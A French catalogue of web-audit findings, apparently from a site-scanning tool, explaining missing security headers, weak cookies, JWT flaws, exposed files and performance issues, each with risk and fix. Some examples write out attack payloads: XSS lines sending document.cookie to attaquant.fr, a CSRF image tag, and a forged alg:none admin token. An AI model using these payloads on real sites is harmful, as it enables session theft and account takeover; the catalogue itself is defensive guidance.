L’écran de connexion observé ne montre aucun signal de second facteur : ni champ pour un code à usage unique, ni bouton pour une clé de sécurité, ni appel à l’API d’identifiants du navigateur. Un mot de passe seul, une fois compromis, suffit alors à prendre le compte. Un second facteur qui n’apparaît qu’après l’envoi des identifiants (un écran de vérification distinct) n’est repéré qu’en audit authentifié, qui revérifie l’écran atteint une fois connecté ; un audit sans identifiants ne voit que l’écran de connexion lui-même.

Exemple
La connexion se limite à un email et un mot de passe, sans étape supplémentaire même pour un compte administrateur.
Risque
Une seule donnée compromise (le mot de passe) suffit à prendre le compte.
Correction
Proposer un second facteur résistant au hameçonnage (clé de sécurité, application d’authentification) au moins pour les comptes à privilèges.
Aucune règle ne limite les scripts autorisés à s’exécuter Content-Security-Policy

L'application ne déclare aucun en-tête Content-Security-Policy. En cas de faille XSS (même mineure dans une dépendance), un attaquant a les pleins pouvoirs : exécution de scripts arbitraires, exfiltration de données, vol de session, détournement d'actions utilisateur.

Exemple
Une dépendance front (lib markdown, composant tiers) reçoit une CVE XSS → sans CSP, un attaquant peut voler les cookies dès qu'un utilisateur affiche un contenu manipulé.
Risque
Vol massif de sessions et de données utilisateur en cas d'XSS.
Correction
Déclarer une CSP de base (default-src 'self'; object-src 'none'; frame-ancestors 'none') puis durcir progressivement en autorisant les origines réellement nécessaires.
Caméra, micro et géolocalisation ne sont pas explicitement interdits Permissions-Policy

L'app n'interdit pas explicitement l'accès à des APIs sensibles (caméra, micro, géolocalisation, paiement) : un script tiers ou iframe peut tenter de les demander à l'utilisateur.

Exemple
Une iframe publicitaire embarquée demande l'accès au micro de l'utilisateur, qui clique 'autoriser' par habitude.
Risque
Espionnage utilisateur (micro/caméra) via script tiers compromis.
Correction
Ajouter Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=() et n'autoriser que ce qui est strictement nécessaire.
Des éléments chargés en clair sur une page chiffrée contenu mixte

Une page HTTPS charge une ressource via HTTP. Le navigateur la bloque ou affiche un avertissement « non sécurisé », et la ressource peut être interceptée.

Exemple
Une image ou un script en http:// inclus dans une page https:// → blocage console.
Risque
Rendu cassé (ressource bloquée).
Correction
Servir toutes les ressources en HTTPS (URL protocole-relatives ou absolues https).
Des scripts extérieurs sans vérification, mais d’origines déjà encadrées SRI / CSP

Des ressources tierces sont chargées sans integrity, mais la CSP script-src épingle chacun de leurs hôtes sans joker. L'exposition n'est pas celle d'un CDN ouvert : il faut compromettre cet hôte précis.

Exemple
SDK analytics injecté au runtime, hôte listé explicitement dans la CSP.
Risque
Le fournisseur peut toujours modifier son propre fichier ; la CSP ne protège pas de ça.
Correction
À qualifier plutôt qu'à corriger : un SRI figé sur une ressource versionnée par le fournisseur casse le chargement à chaque publication.
Des scripts extérieurs sont chargés sans vérification de leur contenu Subresource Integrity (SRI)

Des <script>/<link> chargés depuis un autre domaine (CDN) n'ont pas d'attribut integrity. Le navigateur exécute le fichier tel quel, sans vérifier qu'il n'a pas été altéré.

Exemple
Un <script src='https://cdn.tiers.com/lib.js'> sans integrity : si le CDN est piraté, le script modifié s'exécute chez tous les visiteurs.
Risque
Attaque supply-chain : exécution de code arbitraire avec les droits de la page.
Correction
Ajouter integrity="sha384-..." + crossorigin="anonymous" sur les ressources tierces (ou les self-héberger).
L’adresse des pages visitées est transmise aux sites tiers Referrer-Policy

Le navigateur peut envoyer l'URL complète (avec tokens, IDs) à des sites tiers via l'en-tête Referer. Tokens / paramètres sensibles fuient.

Exemple
Une URL https://app.fr/reset-password?token=xxx est partagée vers un site tiers via un lien → le token apparaît dans les logs du tiers.
Risque
Fuite de tokens de reset / invitation / single-use vers des tiers.
Correction
Ajouter Referrer-Policy: strict-origin-when-cross-origin (ou no-referrer si zéro fuite tolérée).
L’adresse non chiffrée ne renvoie pas vers l’adresse chiffrée redirection HTTP → HTTPS

Le site répond en HTTP sans rediriger (301/308) vers HTTPS. Un utilisateur qui tape l'URL sans https:// reste en clair, exposé à l'interception.

Exemple
http://mon-app.fr renvoie 200 au lieu de rediriger vers https:// → cookies et données en clair sur un Wi-Fi public.
Risque
Interception man-in-the-middle avant tout chiffrement.
Correction
Rediriger tout le trafic HTTP vers HTTPS en 301/308 au niveau du serveur/edge.
La configuration de connexion est publique OpenID Connect discovery

Le document de découverte OpenID Connect (/.well-known/openid-configuration) est public. C'est un comportement normal, signalé à titre informatif.

Exemple
/.well-known/openid-configuration renvoie les endpoints d'autorisation/token.
Risque
Aucun (informatif) : cartographie de la fédération d'identité.
Correction
Aucune action requise ; vérifier que seuls les endpoints prévus sont exposés.
La connexion chiffrée n’est pas imposée dès la première visite HSTS preload

L'en-tête HSTS est présent mais sans includeSubDomains + preload. La première visite (avant que le navigateur connaisse la politique) reste vulnérable à un downgrade.

Exemple
Strict-Transport-Security: max-age=31536000 sans includeSubDomains; preload.
Risque
Fenêtre de downgrade au premier accès.
Correction
Ajouter includeSubDomains; preload et soumettre le domaine sur hstspreload.org.
La déconnexion ne déclenche aucun appel de révocation aucun DELETE/POST logout-revoke observé

Aucune requête de révocation (suppression du jeton, appel de déconnexion côté serveur) n’a été observée au moment du clic sur déconnexion. Sans un tel appel, rien n’indique qu’un mécanisme de révocation existe côté serveur.

Exemple
Le clic sur « Se déconnecter » redirige vers l’écran de connexion sans qu’aucune requête ne parte vers le serveur : seul l’affichage change.
Risque
Un jeton volé avant la déconnexion reste utilisable jusqu’à son expiration naturelle, faute de mécanisme de révocation.
Correction
Faire de la déconnexion un appel serveur explicite (DELETE /session ou équivalent) qui invalide le jeton, pas seulement un nettoyage côté client.
La déconnexion ne déconnecte pas

Un mécanisme de déconnexion existe mais ne clôt pas réellement la session (l’utilisateur reste connecté ou peut revenir en arrière sur une page authentifiée).

Exemple
Après « Se déconnecter », le bouton retour réaffiche le tableau de bord.
Risque
Fausse impression de sécurité : la session reste active.
Correction
Invalider la session côté serveur au logout et empêcher le retour arrière sur les pages authentifiées (no-store).
La page ne dit pas qui a le droit de l’incruster frame-ancestors

La CSP ne déclare pas de directive frame-ancestors. La page peut être embarquée dans une iframe sur n'importe quel site externe : un attaquant peut alors superposer une fausse UI par-dessus l'app pour piéger l'utilisateur (clickjacking).

Exemple
Un site malveillant intègre l'app dans une iframe invisible, par-dessus un faux bouton 'Gagner un iPhone' → l'utilisateur clique en réalité sur 'Supprimer mon compte'.
Risque
Clickjacking : actions sensibles déclenchées au nom de l'utilisateur.
Correction
Ajouter frame-ancestors 'none' (interdire toute iframe) ou 'self' (autoriser uniquement le même domaine) à la CSP.
La page peut être incrustée dans un site tiers à des fins de piégeage X-Frame-Options

L'app peut être chargée dans une iframe sur n'importe quel site externe. Un attaquant peut superposer ton interface sous une fausse UI pour piéger l'utilisateur (clickjacking).

Exemple
Un site malveillant intègre ton app dans une iframe invisible, par-dessus un faux bouton 'Gagner un iPhone'.
Risque
Actions non voulues déclenchées au nom de l'utilisateur (suppression, transfert, validation).
Correction
Ajouter X-Frame-Options: DENY (ou SAMEORIGIN si tu intègres tes propres iframes) ou utiliser frame-ancestors dans la CSP.
La règle des scripts autorise le code construit à la volée CSP 'unsafe-eval'

La CSP autorise 'unsafe-eval', ce qui permet l'utilisation de eval(), new Function(), setTimeout('code') et autres constructions dynamiques. Un attaquant qui parvient à injecter une chaîne de caractères dans un contexte évalué peut exécuter du code arbitraire.

Exemple
Une lib de templating obsolète appelle eval(template) sur du contenu utilisateur → injection de code triviale.
Risque
Surface d'attaque XSS élargie sur des canaux inattendus (configs, templates).
Correction
Retirer 'unsafe-eval' et remplacer les libs qui en dépendent (template engine compilé au build, JSON.parse strict).
La règle des scripts autorise le code inséré dans la page CSP 'unsafe-inline'

La directive script-src (ou style-src) autorise 'unsafe-inline'. Cette autorisation neutralise la protection principale de la CSP contre les XSS : tout script HTML injecté est exécuté comme s'il n'y avait pas de CSP.

Exemple
CSP script-src 'self' 'unsafe-inline' → une faille XSS injecte <script>fetch('https://attaquant.fr/?c='+document.cookie)</script> qui s'exécute normalement.
Risque
Protection XSS de la CSP réduite à zéro.
Correction
Retirer 'unsafe-inline' et migrer vers un nonce généré par requête (script-src 'nonce-RANDOM') ou des hashes ('sha256-...').
La règle des scripts autorise n’importe quelle origine CSP source '*'

Une directive CSP autorise toutes les origines (* ou https:). N'importe quel domaine sur Internet peut alors servir des scripts, styles ou ressources à la page : la CSP n'agit plus comme une whitelist, elle devient cosmétique.

Exemple
script-src * → un attaquant qui arrive à injecter <script src="https://attaquant.fr/x.js"> est exécuté sans filtre.
Risque
CSP perd toute valeur défensive : équivalent à ne pas en avoir.
Correction
Remplacer les wildcards par la liste explicite des origines nécessaires, ou utiliser 'self' quand c'est suffisant.
La version d’un composant côté client est lisible depuis le navigateur React.version / angular.version / jQuery.fn.jquery

Une bibliothèque front (React, Angular, jQuery, ou une autre nommée dans un fichier téléchargé) expose sa version par un global ou par le nom du fichier chargé. Le constat expose une version : il n'affirme aucune vulnérabilité, aucune base CVE n'étant consultée.

Exemple
window.jQuery.fn.jquery répond 3.4.1 ; react-dom@17.0.2.min.js apparaît dans les scripts chargés.
Risque
Un attaquant peut croiser cette version avec une base de vulnérabilités publiques pour cibler un correctif manquant.
Correction
Mettre à jour régulièrement les bibliothèques front ; la version en elle-même n’est pas dissimulable côté client.
Le code source de l’application est téléchargeable source map

Une source map (.map) est accessible publiquement. Le code source original, les commentaires et parfois des clés y sont reconstituables.

Exemple
/_astro/index.a1b2c3d4.js.map renvoie 200 → code source dé-minifiable.
Risque
Exposition de la logique métier.
Correction
Ne pas déployer les .map en production, ou les restreindre (auth/IP) côté serveur.
Le navigateur n’est pas obligé de rester en connexion chiffrée Strict-Transport-Security (HSTS)

Le serveur ne renvoie pas d'en-tête Strict-Transport-Security. Un attaquant en position de man-in-the-middle (Wi-Fi public, DNS hijack) peut forcer un downgrade vers HTTP et intercepter les credentials lors de la première visite ou si l'utilisateur tape l'URL sans https://.

Exemple
Utilisateur dans un café tape mon-app.fr → 1ère requête HTTP en clair → attaquant sur le Wi-Fi capture la session de login.
Risque
Vol d'identifiants par interception sur réseau hostile.
Correction
Ajouter Strict-Transport-Security: max-age=31536000; includeSubDomains; preload sur toutes les réponses HTTPS.
Le navigateur peut deviner le type d’un fichier au lieu de le respecter X-Content-Type-Options

Le navigateur peut deviner le type MIME d'une ressource (sniffing). Un fichier hostile uploadé peut être réinterprété comme du JS ou HTML et exécuté.

Exemple
Un utilisateur uploade un fichier avatar.png qui contient en réalité du JavaScript → IE/anciens Chrome l'exécutent.
Risque
Exécution de code malveillant via fichiers uploadés par les utilisateurs.
Correction
Ajouter X-Content-Type-Options: nosniff sur toutes les réponses.
Le schéma de l’API est lisible par quiconque le demande introspection GraphQL

Le point GraphQL répond à une requête d’introspection : la liste complète des types, champs et mutations est publique.

Exemple
POST /graphql avec { __schema { types { name } } } → 200 et le schéma.
Risque
Un attaquant reçoit la carte complète de l’API.
Correction
Désactiver l’introspection en production, ou la réserver aux sessions autorisées.
Le serveur accepte des méthodes de chiffrement faibles cipher suites

Le serveur autorise des cipher suites obsolètes utilisant CBC ou SHA-1. Ces algorithmes sont vulnérables à des attaques cryptographiques publiques (BEAST, POODLE, Lucky13) qui peuvent permettre le déchiffrement progressif des données.

Exemple
Serveur accepte TLS_RSA_WITH_AES_128_CBC_SHA → vulnérable à BEAST sur les vieux clients.
Risque
Données chiffrées déchiffrables à terme par un attaquant patient.
Correction
Configurer la liste de cipher suites selon Mozilla SSL Configuration Generator (profil 'modern' ou 'intermediate') : bannir CBC et SHA-1.
Le serveur accepte encore des versions anciennes du chiffrement TLS 1.0 / 1.1

Le serveur accepte des connexions en TLS 1.0 ou 1.1, deux versions officiellement dépréciées depuis 2020 (RFC 8996). Ces versions souffrent de vulnérabilités cryptographiques connues (BEAST, POODLE) et de cipher suites obsolètes.

Exemple
Audit SSL Labs note le serveur 'C' à cause de l'acceptation de TLS 1.0.
Risque
Interception et déchiffrement possibles des communications utilisateur (credentials, sessions, données personnelles).
Correction
Désactiver TLS 1.0 et 1.1 côté serveur (Nginx, Traefik, Cloudflare, ALB) : ne laisser que TLS 1.2 et 1.3.
Le serveur annonce sa technologie à qui la demande X-Powered-By

L'en-tête X-Powered-By divulgue la stack technique (framework, runtime). Information offerte à un attaquant pour orienter ses tentatives.

Exemple
X-Powered-By: Express révèle le framework backend.
Risque
Reconnaissance de la stack facilitée.
Correction
Désactiver l'en-tête (app.disable("x-powered-by"), ou suppression côté reverse-proxy).
Le serveur annonce sa version à qui la demande Server

L'en-tête Server révèle le logiciel et sa version exacte. Un attaquant cible directement les CVE connues de cette version.

Exemple
Server: nginx/1.27.0 permet de chercher les vulnérabilités de cette version précise.
Risque
Ciblage facilité des vulnérabilités connues.
Correction
Masquer la version (server_tokens off; sous Nginx) ou retirer l'en-tête.
Le serveur n’a pas limité le débit d’un enchaînement de lectures rate limiting

Des requêtes de **lecture** rejouées rapidement passent toutes sans être throttlées (aucun 429 ni en-tête Retry-After/RateLimit-*). **Périmètre du test** : lectures same-origin uniquement, les endpoints sensibles (écritures, envoi de code, invitations, génération de rapport), où une limitation est le plus souvent posée, ne sont pas sollicités. Ce constat n'établit donc pas une absence de protection.

Exemple
20 requêtes envoyées en rafale, toutes en 200 : aucun garde-fou.
Risque
Brute-force d’identifiants ou de codes.
Correction
Ajouter une limitation de débit côté serveur/passerelle (par IP et par compte) répondant 429 avec Retry-After.
Le serveur ne propose pas la version la plus sûre du chiffrement TLS 1.3

Le serveur n'accepte pas TLS 1.3 et reste sur TLS 1.2 ou inférieur. Les anciennes versions ont des suites de chiffrement plus faibles et des temps de handshake plus lents.

Exemple
Un audit type SSL Labs note le serveur 'B' au lieu de 'A+' à cause de cipher suites obsolètes.
Risque
Vulnérabilité à des attaques connues sur TLS ≤ 1.2 (BEAST, POODLE downgrade) selon config.
Correction
Activer TLS 1.3 côté Nginx/Traefik/Cloudflare et désactiver TLS ≤ 1.1.
Le site se présente lui-même comme un environnement de test hostname / bandeau non-production

Le nom d'hôte (staging., preprod., review-482.) ou un bandeau visible sur la page désigne un environnement de test ou de préproduction, pas la production.

Exemple
L'URL auditée commence par staging. alors qu'elle est atteignable depuis l'extérieur.
Risque
Un lien partagé par erreur mène un client sur un environnement instable ou aux données fictives.
Correction
Restreindre l'accès public à l'environnement (authentification, IP allowlist) ou retirer le bandeau une fois en production.
N’importe quel site peut interroger le serveur depuis un navigateur Access-Control-Allow-Origin: *

Une réponse d'API renvoie Access-Control-Allow-Origin: *, autorisant n'importe quel site à lire ses réponses depuis un navigateur.

Exemple
/api/v1/users répond Access-Control-Allow-Origin: *.
Risque
Lecture cross-origin des réponses.
Correction
Restreindre l'ACAO à une allowlist d'origines de confiance ; jamais * avec credentials.
Rien n’indique à la personne qu’elle est connectée

Des cookies sont présents mais aucun ne semble lié à la session, et aucun indicateur d’expiration/timeout n’a été trouvé dans le DOM. Difficile de savoir si la session expire.

Exemple
Aucun cookie Secure/HttpOnly de session identifiable.
Risque
Sessions potentiellement éternelles → fenêtre d’attaque élargie.
Correction
Utiliser un cookie de session sécurisé avec expiration, et indiquer l’état/timeout de session côté UI.
Se déconnecter n’invalide pas la session côté serveur jeton valide après logout (rejeu en lecture)

Le jeton capturé juste avant la déconnexion répond encore avec succès une fois celle-ci jouée. La déconnexion efface l’affichage et le stockage côté navigateur, mais la session reste active côté serveur : quiconque a intercepté ce jeton avant la déconnexion continue de l’utiliser.

Exemple
Un jeton intercepté sur un réseau public reste utilisable des heures après que la victime s’est déconnectée de son côté.
Risque
Un jeton volé avant la déconnexion reste exploitable jusqu’à son expiration naturelle.
Correction
Mettre en place une révocation côté serveur au moment de la déconnexion (liste noire avec expiration alignée sur le jeton, ou jeton de rafraîchissement supprimé en base).
Un écran réservé accessible sans être connecté

Une zone censée être protégée reste accessible sans authentification valide (pas de redirection vers le login). Risque d’exposition de données ou d’actions réservées.

Exemple
Accès direct à /admin sans session valide sans redirection.
Risque
Fuite de données réservées aux utilisateurs authentifiés.
Correction
Appliquer un contrôle d’accès côté serveur sur chaque route protégée et rediriger vers le login si non authentifié.
Un fichier sensible est accessible à tous /.git, /.env

Un chemin sensible (/.git, /.env) est servi publiquement. Secrets, historique de code et configuration sont exposés : compromission directe.

Exemple
/.git/HEAD renvoie ref: refs/heads/main → tout le dépôt est récupérable.
Risque
Fuite de secrets et de code source.
Correction
Bloquer l'accès aux fichiers/dossiers cachés côté serveur et ne jamais déployer .git/.env.
Un jeton de connexion est accessible à tout script de la page JWT en localStorage/sessionStorage

Le jeton est lu dans le stockage local ou de session du navigateur plutôt que dans un cookie protégé (HttpOnly). N’importe quel script qui s’exécute sur la page (une dépendance compromise, une faille XSS) peut donc le lire et l’envoyer ailleurs.

Exemple
Une bibliothèque tierce compromise lit localStorage.getItem('access_token') et l’exfiltre vers un serveur externe.
Risque
Vol de session complet via une simple exécution de script sur la page.
Correction
Stocker le jeton dans un cookie HttpOnly, Secure, SameSite=Strict plutôt que dans le stockage local ou de session.
Un jeton de connexion est rangé là où tout script peut le lire localStorage

Le token d'auth est stocké dans localStorage. Il est lisible depuis JS : toute faille XSS expose immédiatement la session, contrairement à un cookie HttpOnly.

Exemple
XSS via une lib tierce → localStorage.getItem('token') exfiltré en 1 ligne.
Risque
Toute XSS = compromission immédiate de la session.
Correction
Migrer vers un cookie HttpOnly + Secure + SameSite=Strict posé par le backend.
Un jeton de connexion est signé avec une méthode faible JWT HS256 / none

Le JWT utilise none, HS256 avec un secret court, ou un algorithme déprécié. Un attaquant peut forger des tokens valides.

Exemple
Algorithme none accepté → un attaquant fabrique un token {alg:'none'} et passe admin:true.
Risque
Forge de tokens : un attaquant se fait passer pour un admin.
Correction
Utiliser RS256/ES256 + secret/cle privée >= 256 bits, refuser explicitement alg: none.
Un jeton de connexion est signé avec une méthode faible ou aucune JWT HS256 / none

Le JWT utilise un algorithme de signature faible : none (aucune signature), HS256 avec un secret court, ou un algorithme déprécié. Un attaquant peut alors forger des tokens valides et se faire passer pour n'importe quel utilisateur, y compris un administrateur.

Exemple
Backend accepte alg: none → un attaquant fabrique {"alg":"none"}.{"sub":"admin","role":"admin"}. et obtient un accès admin.
Risque
Forge complète de tokens : un attaquant se fait passer pour un administrateur.
Correction
Utiliser RS256 ou ES256 avec une clé privée >= 256 bits, refuser explicitement alg: none côté backend, et valider l'algorithme attendu avant la vérification de signature.
Un jeton de connexion ne dit pas à quel service il est destiné JWT sans claim aud

Le jeton ne déclare pas l’audience à laquelle il est destiné. Un service qui accepte la même signature qu’un autre peut alors se voir présenter un jeton émis pour ce dernier et l’accepter à tort.

Exemple
Un jeton émis pour l’API de facturation est rejoué avec succès contre l’API de gestion des comptes, qui partage la même clé de signature.
Risque
Un jeton légitime pour un service en autorise un autre par erreur.
Correction
Ajouter une claim aud identifiant le service cible et la faire vérifier à chaque requête.
Un jeton de connexion ne dit pas quel serveur l’a délivré JWT sans claim iss

Le jeton ne déclare pas le serveur d’authentification qui l’a émis. Le service qui le reçoit ne peut donc pas vérifier qu’il vient bien de son propre serveur d’authentification plutôt que d’un tiers.

Exemple
Un environnement de test et un environnement de production partagent le même format de jeton sans distinction d’émetteur, exposant la production à un jeton de test.
Risque
Impossible de distinguer un jeton légitime d’un jeton émis par une autre source de confiance moindre.
Correction
Ajouter une claim iss identifiant le serveur d’authentification et la faire vérifier à chaque requête.
Un jeton de connexion ne périme jamais JWT exp

Le JSON Web Token utilisé pour l'authentification ne contient pas de claim exp (timestamp d'expiration). Le token reste valide indéfiniment : si un attaquant l'obtient (log, XSS, leak), il conserve un accès permanent au compte, même après changement de mot de passe.

Exemple
Un token leaké via un log Sentry public il y a 6 mois reste utilisable aujourd'hui.
Risque
Persistence d'un accès non révocable côté client.
Correction
Ajouter un claim exp court (15 minutes recommandé) et mettre en place un mécanisme de refresh token rotatif côté backend.
Un jeton de connexion reste valide plus d’une heure exp - iat > 60 min

Le jeton de connexion vit plus de 60 minutes entre son émission et son expiration. Plus cette fenêtre est longue, plus un jeton volé (via un journal, une faille XSS, une fuite) reste utilisable par qui l’a intercepté.

Exemple
Un jeton émis à 9h reste valide jusqu’à 21h : douze heures d’accès pour qui l’aurait intercepté.
Risque
Fenêtre d’exploitation prolongée en cas de vol du jeton.
Correction
Réduire la durée de vie du jeton à 5-15 minutes et s’appuyer sur un jeton de rafraîchissement révocable pour prolonger la session.
Un jeton de connexion transporte des données personnelles en clair PII dans le contenu du JWT

Le contenu du jeton (lisible en Base64, non chiffré) porte une donnée personnelle en clair : une adresse email, un nom complet, ou un rôle suffisamment détaillé pour identifier une personne ou sa fonction précise dans l’organisation. Quiconque intercepte ou inspecte le jeton lit cette donnée sans effort.

Exemple
Le jeton contient "email": "jean.dupont@exemple.fr", lisible par un simple décodage Base64 depuis le stockage du navigateur.
Risque
Exposition de données personnelles à quiconque accède au jeton, sans avoir besoin de le déchiffrer.
Correction
Ne porter dans le jeton qu’un identifiant opaque ; aller chercher les données personnelles côté serveur au moment où elles sont réellement nécessaires, ou chiffrer le contenu (JWE) si elles doivent y figurer.
Un rechargement interrompu déconnecte pour de bon

Le jeton de rafraîchissement tourne à chaque appel, sans tolérance pour une réponse perdue. Le serveur invalide l'ancien jeton avant que le client ait reçu le nouveau : si la requête est interrompue (onglet fermé, navigation, réseau coupé), le navigateur continue de présenter un jeton dépensé et toutes les tentatives suivantes répondent 401. L'utilisateur est déconnecté sans l'avoir demandé, et sans explication.

Exemple
L'utilisateur clique un lien pendant que l'application rafraîchit son jeton en arrière-plan : la réponse est annulée, la session est morte.
Risque
Déconnexions inexpliquées, d'autant plus fréquentes que la connexion est instable.
Correction
Tolérer brièvement l'ancien jeton après rotation (quelques secondes), ou ne l'invalider qu'à la première utilisation réussie du nouveau. Détecter la réutilisation reste possible au-delà de cette fenêtre.
Un script injecté pourrait voler les jetons de connexion XSS

Des jetons d’authentification sont stockés dans le web storage (localStorage/sessionStorage), lisibles par n’importe quel script de la page, alors que la CSP est absente ou permissive (autorise inline/eval). Une faille XSS permettrait de voler la session.

Exemple
Un token JWT dans localStorage + une CSP avec unsafe-inline → un script injecté lit le token et l’envoie ailleurs.
Risque
Vol de session : l’attaquant se fait passer pour l’utilisateur.
Correction
Stocker les jetons dans un cookie Secure; HttpOnly; SameSite (inaccessible au JS) et durcir la CSP (retirer unsafe-inline/unsafe-eval).
Un témoin de session est envoyé depuis d’autres sites cookie SameSite

Un cookie de session ne déclare pas d'attribut SameSite. Il est envoyé sur des requêtes cross-site → vulnérabilité CSRF.

Exemple
Un site malveillant héberge <img src='https://mon-app.fr/api/transfer?to=attaquant'> → la requête part avec le cookie de session.
Risque
Actions sensibles exécutées au nom de l'utilisateur (CSRF).
Correction
Poser SameSite=Lax par défaut, SameSite=Strict pour les cookies de sessions très sensibles.
Un témoin de session est lisible par les scripts de la page cookie 'HttpOnly'

Un cookie de session est lisible depuis JavaScript (document.cookie). En cas de XSS, l'attaquant peut le voler.

Exemple
Une faille XSS exécute fetch('https://attaquant.fr/?c='+document.cookie) et exfiltre la session.
Risque
Combinaison XSS + cookie volable = compromission de compte triviale.
Correction
Ajouter le flag HttpOnly sur les cookies de session.
Un témoin de session peut circuler en clair cookie 'Secure'

Un cookie de session est posé sans le flag Secure. Il peut être envoyé sur des connexions HTTP non chiffrées et intercepté.

Exemple
L'utilisateur tape mon-app.fr/page dans un café → cookie de session envoyé en HTTP → un attaquant sur le Wi-Fi le récupère.
Risque
Vol de session → l'attaquant se connecte en tant que l'utilisateur.
Correction
Ajouter le flag Secure sur tous les cookies de session ou sensibles.
Une erreur affiche l’écran de débogage du framework, pas une page applicative stack trace / debug screen

La page rencontrée est l'écran de débogage natif du framework serveur (trace de pile, chemin de fichier, parfois un extrait de code) plutôt qu'une page d'erreur pensée pour un visiteur.

Exemple
Une erreur PHP affiche Fatal error: Uncaught Error avec le chemin complet du fichier source.
Risque
Exposition de chemins serveur, de noms de fichiers internes et parfois d'extraits de code.
Correction
Désactiver le mode debug en production et servir une page d’erreur applicative générique.
Une protection du navigateur non activée en-tête de sécurité

Un en-tête HTTP de sécurité recommandé est absent de la réponse. Le navigateur applique alors des protections plus faibles contre certaines classes d’attaques.

Exemple
Absence de X-Content-Type-Options: nosniff.
Risque
Surface d’attaque élargie (sniffing MIME, clickjacking, fuite de référent).
Correction
Ajouter les en-têtes manquants au niveau du serveur/reverse-proxy et vérifier leur présence sur toutes les routes.
Une réponse d’amorçage expose une longue liste de feature flags bootstrap flags

Une réponse d'amorçage envoie au client au moins trois entrées sous une clé nommée flags, featureFlags ou toggles, plutôt qu'une réponse resserrée sur ce qui concerne l'utilisateur courant.

Exemple
La réponse /api/bootstrap contient une clé featureFlags listant une douzaine d’entrées.
Risque
Une fonctionnalité non annoncée ou un mode dégradé sont découvrables par simple lecture du réseau.
Correction
Ne renvoyer côté client que les flags pertinents pour l’utilisateur courant, jamais la configuration complète.

Performance

49

Le temps que la page met à s’afficher et à répondre.

Des fichiers texte envoyés sans compression gzip / brotli

Des ressources texte (CSS/JS) de même origine sont servies sans compression : bande passante gaspillée et rendu retardé.

Exemple
Un bundle JS de 400 Ko servi non compressé au lieu de ~110 Ko en brotli.
Risque
Chargement plus lent à chaque visite.
Correction
Étendre la compression Nginx/CDN à tous les types texte (application/javascript, text/css).
Des fichiers versionnés que le navigateur ne garde pas en mémoire Cache-Control

Des assets au nom hashé (immuables) sont servis sans Cache-Control long. Le navigateur les re-télécharge alors qu'ils ne changent jamais.

Exemple
/_astro/index.a1b2c3d4.js servi sans max-age → re-téléchargé à chaque visite.
Risque
Temps de chargement répétés inutiles.
Correction
Servir les assets fingerprintés avec Cache-Control: public, max-age=31536000, immutable, et un cache court/revalidate sur le HTML.
Des grandes images servies en une seule taille pour tous les écrans srcset

Une image de grande taille n'a pas d'attribut srcset. Le mobile télécharge la même version haute résolution que le desktop.

Exemple
Un visuel pleine largeur sans srcset → 1 Mo téléchargé même sur petit écran.
Risque
LCP mobile dégradé.
Correction
Fournir srcset + sizes avec plusieurs largeurs, ou utiliser <picture>.
Des images bien plus grandes que l’espace où elles s’affichent

Une image est servie en résolution bien supérieure à sa taille d'affichage. Des centaines de Ko sont téléchargés puis redimensionnés en pure perte.

Exemple
Une vignette affichée en 200 px servie en 2000 px de large.
Risque
Bande passante gaspillée.
Correction
Servir des images à la taille d'affichage (× DPR), avec srcset/sizes pour les variantes.
Des images dans un format ancien, plus lourd JPEG / PNG au lieu de WebP / AVIF

Des images sont servies en JPEG/PNG au lieu de formats modernes (WebP/AVIF). À qualité égale, le poids est 2 à 3 fois supérieur.

Exemple
Un visuel hero en JPEG de 800 Ko → ~250 Ko en WebP, ~150 Ko en AVIF.
Risque
Chargement plus lent.
Correction
Générer des variantes WebP/AVIF (via <picture> ou un pipeline d'images) avec repli JPEG/PNG.
Des images décodées en bloquant l’affichage decoding="async"

Les images n'ont pas l'attribut decoding="async". Leur décodage (transformation du flux compressé en bitmap) s'exécute sur le thread principal et bloque temporairement les autres travaux du navigateur (scroll, animations, JS).

Exemple
Une galerie photo qui affiche 12 images haute résolution provoque des micro-saccades de scroll pendant 200-400 ms à chaque arrivée d'image.
Risque
Micro-saccades visibles pendant le scroll, surtout sur mobile bas de gamme.
Correction
Ajouter decoding="async" sur les <img> non critiques pour que le décodage se fasse en arrière-plan.
Des images hors de vue chargées d’emblée lazy loading

Des images situées sous la ligne de flottaison (hors viewport initial) sont téléchargées dès le chargement de la page, sans loading="lazy". Le navigateur consomme de la bande passante et du temps CPU pour des images que l'utilisateur ne verra peut-être jamais : au détriment du contenu visible.

Exemple
Sur une page d'accueil avec 30 vignettes en grille, les 25 dernières (hors écran) téléchargent en parallèle du LCP → 4 MB inutiles avant que la zone visible ne s'affiche.
Risque
Bande passante mobile gaspillée (forfaits limités, zones de couverture faibles).
Correction
Ajouter loading="lazy" sur les <img> sous le pli, et garder loading="eager" (ou rien) pour l'image LCP.
Des images sans taille déclarée, qui font sauter la page width / height

Des <img> n'ont pas d'attributs width/height. Le navigateur ne réserve pas l'espace, provoquant un saut de mise en page (CLS) pendant le chargement.

Exemple
Le texte sous une image saute vers le bas quand l'image arrive → clic au mauvais endroit.
Risque
CLS dégradé (Core Web Vitals).
Correction
Renseigner width et height (ou aspect-ratio CSS) sur chaque <img>.
Des polices dans un format lourd TTF / OTF au lieu de WOFF2

Les polices web sont servies en TTF, OTF ou WOFF (v1) au lieu de WOFF2. WOFF2 est compressé Brotli et fait gagner 30 à 50 % de poids par rapport aux formats antérieurs : sans aucune perte de qualité.

Exemple
Inter chargée en .ttf (180 KB) au lieu de .woff2 (40 KB) → 140 KB inutiles par police, x4 si on a 4 graisses.
Risque
Bande passante mobile gaspillée : coût pour l'utilisateur sur forfait limité.
Correction
Convertir les polices en WOFF2 (outil woff2_compress ou Google Fonts) et déclarer format('woff2') en première position dans src.
Des polices découvertes tard par le navigateur preload

Les polices critiques (utilisées dans le LCP) ne sont pas préchargées via <link rel='preload'>. Découverte tardive → texte visible en retard.

Exemple
Police du H1 chargée seulement après le parsing du CSS → FOIT/FOUT.
Risque
LCP retardé, CLS si bascule de police visible.
Correction
Ajouter <link rel='preload' as='font' type='font/woff2' href='/fonts/inter.woff2' crossorigin>.
Des sélecteurs empilés sur trop de niveaux plus de 3 combinateurs descendants dans un même sélecteur

Un sélecteur comme .app .layout .main .content .card .title oblige le moteur à remonter plusieurs niveaux dans l'arbre du document pour chaque tentative de correspondance, alors qu'une classe unique sur l'élément visé se résout directement.

Exemple
.app .layout .main .content .card .title { font-size: 1.25rem; } au lieu de .content-card__title.
Risque
Temps de résolution de style allongé sur les pages riches en éléments.
Correction
Aplatir la hiérarchie avec une convention de nommage (BEM ou utilitaires) plutôt que des sélecteurs imbriqués.
